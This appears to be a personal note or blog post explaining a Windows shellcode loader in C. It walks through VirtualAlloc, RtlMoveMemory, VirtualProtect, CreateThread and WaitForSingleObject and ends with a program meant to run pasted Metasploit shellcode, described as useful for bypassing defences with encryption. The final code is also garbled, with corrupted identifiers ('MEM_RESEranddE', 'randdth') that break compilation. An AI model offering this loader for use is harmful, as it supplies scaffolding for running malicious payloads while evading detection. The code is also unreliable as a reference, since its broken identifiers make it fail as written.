This is not a tutorial guide or course. I have wrote this as my note. But you can also utilize my idea if you have basic understanding of C++ and windows API.
Understanding 5 WIN API
What is the idea to execute our shellcode?
- Allocate Memory space as RW to store our shellcode
- Copy our shellcode to that memory
- Make the memory as executable.
- Run the payload.
- Wait to exit
VirtualAlloc
This function allocate memory space. The Syntax:
LPVOID VirtualAlloc(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
lpAddress
Is the starting address to allocate, in our case it is 0
dwSize
The size in bytes. In our case the size of our shellcode.
flAllocationType
In our case it needs to allocate memory charge MEM_COMMIT
and MEM_RESERVE
to allocate without physical storage in memory
flProtect
The memory protection. In our case it is PAGE_READWRITE
RtlMoveMemory
This function will copy our shell code to our allocated memory block.
The Syntax:
VOID RtlMoveMemory(
*dest
*source
*length_of_content
);
VirtualProtect
This function used to make the allocated memory space to be executable.
BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
lpAddress
Is our allocated memory address
dwSize
Size of our payload
flNewProtect
Memory protection type PAGE_EXECUTE_READ
lpflOldProtect
A pointer to a variable that receives the previous access protection
CreateThread
This function create thread to execute within the virtual address
Here is the Syntax:
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
__drv_aliasesMem LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
lpThreadAttributes
This is pointer to Security Attributes type of LPSECURITY_ATTRIBUTES
In our case the value is 0.
dwStackSize
Size of the stack. We all give it value of 0
.
lpStartAddress
Pointer to our allocated memory(VirtualAllocate). cast to LPTHREAD_START_ROUTINE
.
lpParameter
,dwCreationFlags
, lpThreadId
value is 0
in our case.
WaitForSingleObject
This function check the state of a object.
DWORD WaitForSingleObject(
HANDLE hHandle,
DWORD dwMilliseconds
);
hHandle
to CreateThread
dwMilliseconds
The time-out interval.
Final code
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
int main(void) {
void * red_virt;
DWORD randprot = 0;
BOOL randd;
HANDLE eVil;
unsigned char msf_shellcode[] = {
//Paste shellcode here
};
//length_of_msf_shellcode
unsigned int msf_shellcode_length = 689;
red_virt = VirtualAlloc(0, msf_shellcode_length, MEM_COMMIT | MEM_RESEranddE, PAGE_READWRITE); //Allocate Memory space
RtlMoveMemory(red_virt, msf_shellcode, msf_shellcode_length); //Move to that memory
randd = VirtualProtect(red_virt, msf_shellcode_length, PAGE_EXECUTE_READ, &randprot); //Make it executable
eVil = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) red_virt, 0, 0, 0); //Execute the shellcode
WaitForSingleObject(randdth, -1);
return 0;
}
Note: This is just a simple c++ program that can run any shell code. Useful to bypass with some encryption.